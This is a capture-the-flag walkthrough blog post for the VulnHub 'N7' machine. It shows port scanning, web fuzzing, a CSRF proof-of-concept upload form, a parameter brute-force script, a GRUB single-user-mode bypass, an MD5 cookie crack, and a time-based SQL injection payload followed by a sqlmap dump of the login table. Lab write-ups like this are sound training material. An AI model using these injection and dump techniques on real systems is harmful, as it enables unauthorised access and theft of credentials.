[VulnHub] Web Machine: (N7)
Difficulty: Medium
Using VirtualBox, we first make sure the kali and the target machines have a Host-only Adapter
enabled.
Host discovery
Let's find out the target's IP through a network discovery:
kali@kali:~$ fping -ag 192.168.56.0/24 2>/dev/null
192.168.56.1
192.168.56.100
192.168.56.101
192.168.56.103
192.168.56.101
is our IP, and 192.168.56.103
the target's one.
Open ports
Nmap scan:
kali@kali:~$ sudo nmap -sS --open -p- -Pn -v10 -oA syn_full 192.168.56.103
PORT STATE SERVICE
80/tcp open http
kali@kali:~$ sudo nmap -v10 -sC -sV -p80 -oA nse 192.168.56.103
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.46 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.46 (Debian)
MAC Address: 08:00:27:ED:BD:C7 (Oracle VirtualBox virtual NIC)
The Server
HTTP header The website is an Apache/2.4.46
, hosted in a Debian machine.
HTTP
The website only contains a link to the /profile.php
resource, which is a nearly blank page.
Down the rabbit holes
Let's enumerate the web resources to retrieve more sensitive files:
kali@kali:~$ ffuf -c -u http://192.168.56.103/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -recursion -fc 404,403
javascript [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 3ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/FUZZ
. [Status: 200, Size: 1620, Words: 536, Lines: 49, Duration: 5ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/FUZZ
jquery [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 4ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/jquery/FUZZ
highlight [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/highlight/FUZZ
skeleton [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/skeleton/FUZZ
jquery-ui [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 5ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/jquery-ui/FUZZ
[INFO] Starting queued job on target: http://192.168.56.103/javascript/jquery/FUZZ
jquery [Status: 200, Size: 275451, Words: 33863, Lines: 10441, Duration: 234ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/highlight/FUZZ
styles [Status: 301, Size: 338, Words: 20, Lines: 10, Duration: 0ms]
[INFO] Adding a new job to the queue: http://192.168.56.103/javascript/highlight/styles/FUZZ
highlight [Status: 200, Size: 788290, Words: 160256, Lines: 16647, Duration: 72ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/skeleton/FUZZ
skeleton [Status: 200, Size: 11452, Words: 1454, Lines: 419, Duration: 6ms]
[INFO] Starting queued job on target: http://192.168.56.103/javascript/jquery-ui/FUZZ
[...]
No sensitive information are disclosed :/
Accessing the potentially highlighted PHP script profile.phps
is forbidden:
>>>
GET /profile.phps HTTP/1.1
Host: 192.168.56.103
<<<
HTTP/1.1 403 Forbidden
Date: Sun, 10 Jul 2022 23:06:42 GMT
Server: Apache/2.4.46 (Debian)
But this sounds like a generic Apache rule, which forbids the access of any *.phps
files:
>>>
GET /thereIsNoWayThat-You-CanBeThere.phps HTTP/1.1
Host: 192.168.56.103
<<<
HTTP/1.1 403 Forbidden
After a counteless number of hours, I tried to look for open ports using Nmap FW evasion techniques, but I couldn't find anything else than the HTTP server.... Note that the following bash loop shows the same opened port:
kali@kali:~$ for port in {1..65535}; do bash -c "echo >/dev/tcp/192.168.56.103/$port" 2>/dev/null && echo "port $port is open"; done
port 80 is open
None of my tests revealed vulnerabilities on the target (HTTP Host injections, Param Miner discloser, Information disclosure, ...).
Extensioned Web Fuzzing!
After quite some time, I realized that I should have mentioned the -x
attribute in gobuster
to add an html
extension to each file in the wordlist:
-x, --extensions string File extension(s) to search for
kali@kali:~$ gobuster dir -u http://192.168.56.103 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -k -x txt,html,php,css,js,sh,py,cgi,db -t 50
http://192.168.56.103/index.html (Status: 200) [Size: 1620]
http://192.168.56.103/profile.php (Status: 200) [Size: 1473]
http://192.168.56.103/style.css (Status: 200) [Size: 293]
http://192.168.56.103/javascript.js (Status: 200) [Size: 0]
http://192.168.56.103/javascript (Status: 301) [Size: 321] [--> http://192.168.56.103/javascript/]
http://192.168.56.103/exploit.html (Status: 200) [Size: 279]
[...]
Indeed, even though exploit.html
doesn't exist is SecList's wordlists, exploit
exists. Therefore, exploit.html
can only be recovered if -x html
is set with gobuster
.
Alternatively, we could have used ffuf
with its -e
option:
-e Comma separated list of extensions. Extends FUZZ keyword.
CSRF PoC
This page contains a CSRF form, seemingly generated by Burp Suite
:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body background="black">
<form action="http://localhost/profile.php" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" >
</form >
</body>
</html>
More details here.
Once I filled the form, I intercepted the request with Burp. Then, because I'm not running any web server locally (in http://localhost/profile.php), I updated the target to http://192.168.56.103
in the Repeater's option:
>>>
POST /profile.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------328855184733291030797038428
Content-Length: 217
-----------------------------328855184733291030797038428
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/plain
tmp
-----------------------------328855184733291030797038428--
<<<
FLAG{N7
Even if the
Host
header is set tolocalhost
, the real target (namely 192.168.56.103) is defined in the Repeater's option.
But the flag disclosed in the response doesn't seem complete.
However, the diclosure of the flag depends on the file
uploaded. So I tried to brute force that parameter name with a Param Miner
wordlist:
#!/usr/bin/env python3
import hashlib
import time
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import sys
def upload_php_file(file_name, param):
mp_encoder = MultipartEncoder(
fields={
param: (file_name, open(file_name, 'rb'), 'application/x-php'),
}
)
requests.post(
url=url,
data=mp_encoder,
headers={'Content-Type': mp_encoder.content_type},
proxies={'http':'http://127.0.0.1:8080'}
)
url = 'http://192.168.56.103/profile.php'
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage: python3 {sys.argv[0]} <FILE.php>")
else:
file_name = sys.argv[1]
with open('params.txt', 'r') as f:
for param in f.read().splitlines():
req = requests.get(url=f'{url}{upload_php_file(file_name, param)}')
kali@kali:~$ python upload_php_file.py params.txt
Unfortunately, the Burp's history contained no other valid parameter than "file"
.
What about cheating a bit ?
I didn't want to lost some other hours again. Fortunately, we can cheat in VulnHub :]
.
Once the N7 machine boots, we can press e
to edit the boot options in the GRUB menu, and update the line:
linux /boot/vmlinuz-5.9.0-kali1-amd64 root=UUID=[...] ro quiet splash
To:
linux /boot/vmlinuz-5.9.0-kali1-amd64 root=UUID=[...] rw quiet single init=/bin/bash
Once we save the change using CTRL+X
and boot the system, we see that /var/www/html
contains a directory called enter_network
:
root@(none):/$ ls /var/www/html/
[...]
enter_network
exploit.html
[...]
Then, I checked if such pattern was present in any SecLists's wordlist:
kali@kali:~$ grep -rni 'enter_network' /usr/share/seclists/Discovery/Web-Content
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt:137985:strategy_center_networking
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt:1376687:strategy_center_networking
It is not. Maybe in other dirb
wordlists ?
kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/dirb
kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/dirbuster
/usr/share/wordlists/dirbuster/directory-list-1.0.txt:137985:strategy_center_networking
No.. Maybe in any other wordlist (even rockyou.txt
is accepted) ?!
kali@kali:~$ grep -rni 'enter_network' /usr/share/wordlists/
No... Is it contained in any /usr/share
wordlist ?
kali@kali:~$ grep -rni 'enter_network' /usr/share/
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt:137985:strategy_center_networking
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt:1376687:strategy_center_networking
/usr/share/dirbuster/wordlists/directory-list-1.0.txt:137985:strategy_center_networking
No.... The only way to get that resource might be to brute-force it (but there's a special character _
in it :/). So I'm okay with that workaround.
enter_network
This page contains a username/password form:
>>>
POST /enter_network/ HTTP/1.1
Host: 192.168.56.103
user=admin&pass=password&sub=SEND
<<<
HTTP/1.1 200 OK
Server: Apache/2.4.46 (Debian)
Set-Cookie: user=JGFyZ29uMmkkdj0xOSRtPTY1NTM2LHQ9NCxwPTEkVjJoVVVrMDRiVEZEWlVKVVpXaFZSQSRQbHFpdWM3elhWSEM5alFtNUxxLzIyTlY5ZFI5a3M2U0poUkltbGxzeXVr; expires=Mon, 11-Jul-2022 22:09:01 GMT; Max-Age=10000; path=/
Set-Cookie: role=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%253D; expires=Mon, 11-Jul-2022 22:09:01 GMT; Max-Age=10000; path=/
<form action="" method="POST">
username: <input type="text" name="user">
<br>
password: <input type="password" name="pass">
<br>
<input type="submit" name="sub" value="SEND">
</form>
Nothing is shown in the response's body. However, we're set 2 cookies, decoded into:
user=$argon2i$v=19$m=65536,t=4,p=1$VXgub2R2LmxwTVRpaThjNQ$cvselxQfn/MOW2HMgtvMfKSESiCRPOEmeKsdzcUr3D0
role=21232f297a57a5a743894a0e4a801fc3
Note that
role
is cracked withjohn
asadmin
:
kali@kali:~$ echo -n '21232f297a57a5a743894a0e4a801fc3' |john --format=raw-md5 /dev/stdin
admin (?)
Time-based SQLi
Finally, I tried some basic injections, such as blind SQL injections:
>>>
POST /enter_network/ HTTP/1.1
Host: 192.168.56.103
user=admin'or sleep(5)#&pass=passworsd&sub=SEND
<<<
[5.5927millis]
Note that the SQL results aren't reflected in the output when using
UNION
statements such asadmin'UNION SELECT 'foo','bar'#
. Also, we can't use any boolean-based method, because'OR '7'='7
and'AND '1'='7
produce the same ouput.
Then, let's tell sqlmap
to do the blind injection for us:
kali@kali:~$ sqlmap -u "http://192.168.56.103/enter_network/" --data="user=foo&pass=bar&sub=SEND" --dbms=mysql --dump --threads=10 --batch
[WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[INFO] adjusting time delay to 2 seconds due to good response times
Machine
[INFO] fetching tables for database: 'Machine'
[INFO] fetching number of tables for database 'Machine'
[INFO] retrieved: 1
[INFO] retrieved: login
[INFO] fetching columns for table 'login' in database 'Machine'
[INFO] retrieved: 3
[INFO] retrieved: username
[INFO] retrieved: password
[INFO] retrieved: role
[INFO] fetching entries for table 'login' in database 'Machine'
[INFO] fetching number of entries for table 'login' in database 'Machine'
[INFO] retrieved: 1
[WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
FLAG{N7[...]01}
[INFO] retrieved: admin
[INFO] retrieved: administrator
Database: Machine
Table: login
[1 entry]
+-------+-----------------+---------------+
| role | password | username |
+-------+-----------------+---------------+
| admin | FLAG{N7[...]01} | administrator |
+-------+-----------------+---------------+
Subscribe to my newsletter
Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
jamarir
jamarir
Pentester, CTF player, Game Modding enthusiast